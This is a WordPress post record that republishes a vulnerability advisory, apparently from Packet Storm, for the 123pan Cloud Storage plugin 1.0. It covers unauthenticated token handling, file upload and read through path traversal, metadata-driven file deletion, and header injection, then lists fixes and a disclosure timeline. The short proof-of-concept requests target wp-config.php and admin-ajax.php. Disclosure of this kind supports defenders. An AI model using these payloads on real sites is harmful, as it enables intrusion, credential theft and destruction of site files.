\n@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
.:. Exploit Title > WordPress 123pan Cloud Storage Plugin – Multiple Vulnerabilities
.:. Date: April 19, 2025
.:. Exploit Author: bRpsd
.:. Contact: cy[at]live.no
.:. Vendor -> https:\/\/www.123pan.com\/
.:. Product -> https:\/\/wordpress.org\/plugins\/123pan\/
.:. Tested Version -> 1.0
.:. DBMS -> MySQL
.:. Tested on > macOS [*nix Darwin Kernel], on local xampp
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@<\/p>\n
[+] Vulnerability #1: Improper Authentication in Token Handling (CWE-287)
—————————————————————
– Risk: High (CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:N | 9.1)
– Location: yunpan_get_yp_token() function
– Attack Vector: Remote Unauthenticated
– Impact: Account Takeover, API Credential Theft<\/p>\n
Vulnerable Code:
================================================================================================================
function yunpan_get_yp_token($client_id=”, $client_secret=”, $save=0) {
$stored_token = get_option(‘yunpan_access_token’);
$stored_expiry = get_option(‘yunpan_token_expiry’);
$current_time = current_time(‘timestamp’);
if ($stored_token && $stored_expiry && $stored_expiry > $current_time && !$save) {
return $stored_token;
}
$options = get_option(‘yunpan_settings_storage’);
$client_id = $client_id ? $client_id : $options[‘access_key’];
$client_secret = $client_secret ? $client_secret : $options[‘secret_key’];
$api_url = ‘https:\/\/open-api.123pan.com\/api\/v1\/access_token’;
$body = wp_json_encode(array(
‘clientID’ => $client_id,
‘clientSecret’ => $client_secret,
));
$args = array(
‘headers’ => array(
‘Authorization’ => ‘Bearer ‘ . base64_encode($client_id . ‘:’ . $client_secret),
‘Content-Type’ => ‘application\/json’,
‘Platform’ => ‘open_platform’
),
‘body’ => $body
);
$response = wp_remote_post($api_url, $args);
\/\/ …
}
================================================================================================================
Issue: The function is accessible via admin-ajax.php without authentication checks (confirmed via hook registration). Attackers can:<\/p>\n
1-Bruteforce credential storage via repeated API calls
2-Manipulate client_id\/client_secret through unsecured AJAX endpoints
3-Retrieve\/stage Bearer tokens through base64-encoded credentials<\/p>\n
Exploitation [poc]:
curl -X POST “https:\/\/victim-site.com\/wp-admin\/admin-ajax.php” \\
-d “action=yunpan_get_token&client_id=attacker_id&client_secret=attacker_secret”<\/p>\n
[+] Vulnerability #2: Unrestricted File Upload (CWE-434)
Risk: Critical (CVSS:3.1\/AV:N\/AC:L\/PR:L\/UI:N\/S:C\/C:H\/I:H\/A:H | 9.3)
Location: yunpan_upload_file_to_123pan()
Impact: Remote Code Execution, Data Exfiltration<\/p>\n
Vulnerable code:
================================================================================================================
function yunpan_upload_file_to_123pan($file_path, $file_type, $url) {
$file_contents = yunpan_read_file_content($file_path);
if (is_wp_error($file_contents)) {
return $file_contents;
}
$file_size = yunpan_get_file_size($file_path);
$args = array(
‘method’ => ‘PUT’,
‘headers’ => array(
‘Content-Type’ => $file_type,
‘Content-Length’ => $file_size,
),
‘body’ => $file_contents,
);
return wp_remote_request($url, $args);
}
================================================================================================================
Issue:The $file_path parameter is derived from unsanitized user input via media upload forms. Attackers with contributor+ privileges can Upload PHP shells using path traversal (..\/..\/malicious.php),Overwrite core WordPress files via absolute path injection,Stage malicious files in executable directories.<\/p>\n
Exploitation [poc]:
1-Identify the input field or API endpoint where the file path is provided.
2-Input a path to a malicious file.
3-Check if the file is uploaded and executed on the server.<\/p>\n
Second POC:
1- Create post with media attachment path “..\/..\/..\/wp-config.php”
2- Observe sensitive configuration file exfiltration<\/p>\n
[+] Vulnerability #3: Insecure File Deletion (CWE-22)
Risk: High (CVSS:3.1\/AV:N\/AC:L\/PR:L\/UI:N\/S:C\/C:N\/I:H\/A:H | 8.6)
Location: yunpan_delete_remote_attachment()
Impact: Denial of Service, Site Takeover<\/p>\n
Vulnerable code:
================================================================================================================
function yunpan_delete_remote_attachment($post_id) {
$meta = wp_get_attachment_metadata($post_id);
$token = yunpan_get_yp_token();
if (!empty($meta[‘file’])) {
$deleteObjects = [];
$file_path = $meta[‘file’];
$deleteObjects[] = $file_path;
yunpan_open_request(‘api\/v1\/file\/base-path\/trash’, [‘filePathList’ => $deleteObjects], $token);
}
}
================================================================================================================
Issue: The function deletes files based on metadata that could be manipulated by an attacker. The file paths are not properly validated, this could lead to arbitrary file deletion. An attacker could manipulate metadata to delete critical files, leading to Denial of Service (DoS).Attachment metadata is stored in wp_postmeta which is writable via REST API. Attackers can: Update postmeta via API to reference critical files,Trigger deletion of wp-config.php or .htaccess,Achieve persistent site compromise.<\/p>\n
Exploitation [poc]:
PUT \/wp-json\/wp\/v2\/media\/123 HTTP\/1.1
{
“meta”: {
“file”: “..\/..\/..\/wp-config.php”
}
}<\/p>\n
[+] Vulnerability #4: HTTP Header Injection (CWE-113)
Risk: Medium (CVSS:3.1\/AV:N\/AC:H\/PR:L\/UI:N\/S:U\/C:L\/I:L\/A:N | 5.4)
Location: yunpan_open_request()
Impact: SSRF, Cache Poisoning, Open Redirect<\/p>\n
Vulnerable code:
================================================================================================================
function yunpan_open_request($api_path, $data, $token, $method=”POST”, $add_header=false) {
$api_url = ‘https:\/\/open-api.123pan.com\/’.$api_path;
$args = array(
‘headers’ => array(
‘Authorization’ => ‘Bearer ‘ . $token,
‘Content-Type’ => ‘application\/json’,
‘Platform’ => ‘open_platform’,
),
);
if ($method == ‘GET’) {
$api_url = add_query_arg($data, $api_url);
$response = wp_remote_get($api_url, $args);
} else {
if ($data) {
$args[‘body’] = wp_json_encode($data);
}
$response = wp_remote_post($api_url, $args);
}
\/\/ …
}
================================================================================================================
Issue: The function constructs HTTP headers using user-controlled tokens. These tokens are not properly validated, it could lead to HTTP header injection. An attacker could inject malicious headers to manipulate server responses or conduct phishing attacks. Through chained exploitation (Vuln #1),
attackers can control $token to inject:
-CRLF sequences for header splitting
-Proxy tunneling directives
-Redirect headers<\/p>\n
POC:
token = “attacker_token\\r\\nX-Forwarded-For: 127.0.0.1”
requests.post(api_url, headers={‘Authorization’: f’Bearer {token}’})<\/p>\n
Fixes:
* Ensure that the client_id and client_secret are validated and sanitized. Implement authentication checks to ensure only authorized users can access this function.
* Validate and sanitize file paths before processing. Implement checks to ensure only allowed file types and paths are used.
* Validate and sanitize all user-controlled inputs used in HTTP headers. Implement checks to prevent header injection attacks.
* Apply WordPress nonce system to all AJAX handlers
* Implement strict capability checks (manage_options)
* Add audit logging for all API transactions
* Use prepared statements for all SQL operations
* Conduct third-party security code review<\/p>\n
2025-04-01: Initial discovery
2025-04-05: Vendor notification
2025-04-12: Follow-up (no response)
2025-04-19: Coordinated disclosure\n<\/div>\n
View Full Exploit Details<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"Exploit Details Basic Information Exploit Title WordPress 123pan Cloud Storage 1.0 File Deletion \/ Shell Upload \/ Injection Exploit ID PACKETSTORM:190579 Type packetstorm Published 2025-04-21T00:00:00…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,34,12,13,33,53,7,11,5],"class_list":["post-1165","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-00","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n
WordPress 123pan Cloud Storage 1.0 File Deletion \/ Shell Upload \/ Injection - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=1165\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"WordPress 123pan Cloud Storage 1.0 File Deletion \/ Shell Upload \/ Injection - zero redgem\" \/>\n<meta property=\"og:description\" content=\"Exploit Details Basic Information Exploit Title WordPress 123pan Cloud Storage 1.0 File Deletion \/ Shell Upload \/ Injection Exploit ID PACKETSTORM:190579 Type packetstorm Published 2025-04-21T00:00:00...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=1165\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-04-23T06:16:22+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"5 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=1165#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=1165\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"WordPress 123pan Cloud Storage 1.0 File Deletion \\\/ Shell Upload \\\/ Injection\",\"datePublished\":\"2025-04-23T06:16:22+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=1165\"},\"wordCount\":982,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"CVSS-0.0\",\"exploit\",\"news\",\"NONE\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=1165#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=1165\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=1165\",\"name\":\"WordPress 123pan Cloud Storage 1.0 File Deletion \\\/ Shell Upload \\\/ Injection - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-04-23T06:16:22+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=1165#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=1165\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=1165#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"WordPress 123pan Cloud Storage 1.0 File Deletion \\\/ Shell Upload \\\/ Injection\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"WordPress 123pan Cloud Storage 1.0 File Deletion \/ Shell Upload \/ Injection - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=1165","og_locale":"en_US","og_type":"article","og_title":"WordPress 123pan Cloud Storage 1.0 File Deletion \/ Shell Upload \/ Injection - zero redgem","og_description":"Exploit Details Basic Information Exploit Title WordPress 123pan Cloud Storage 1.0 File Deletion \/ Shell Upload \/ Injection Exploit ID PACKETSTORM:190579 Type packetstorm Published 2025-04-21T00:00:00...","og_url":"https:\/\/zero.redgem.net\/?p=1165","og_site_name":"zero redgem","article_published_time":"2025-04-23T06:16:22+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"5 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=1165#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=1165"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"WordPress 123pan Cloud Storage 1.0 File Deletion \/ Shell Upload \/ Injection","datePublished":"2025-04-23T06:16:22+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=1165"},"wordCount":982,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","CVSS-0.0","exploit","news","NONE","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=1165#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=1165","url":"https:\/\/zero.redgem.net\/?p=1165","name":"WordPress 123pan Cloud Storage 1.0 File Deletion \/ Shell Upload \/ Injection - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-04-23T06:16:22+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=1165#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=1165"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=1165#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"WordPress 123pan Cloud Storage 1.0 File Deletion \/ Shell Upload \/ Injection"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/1165","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1165"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/1165\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1165"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1165"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1165"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}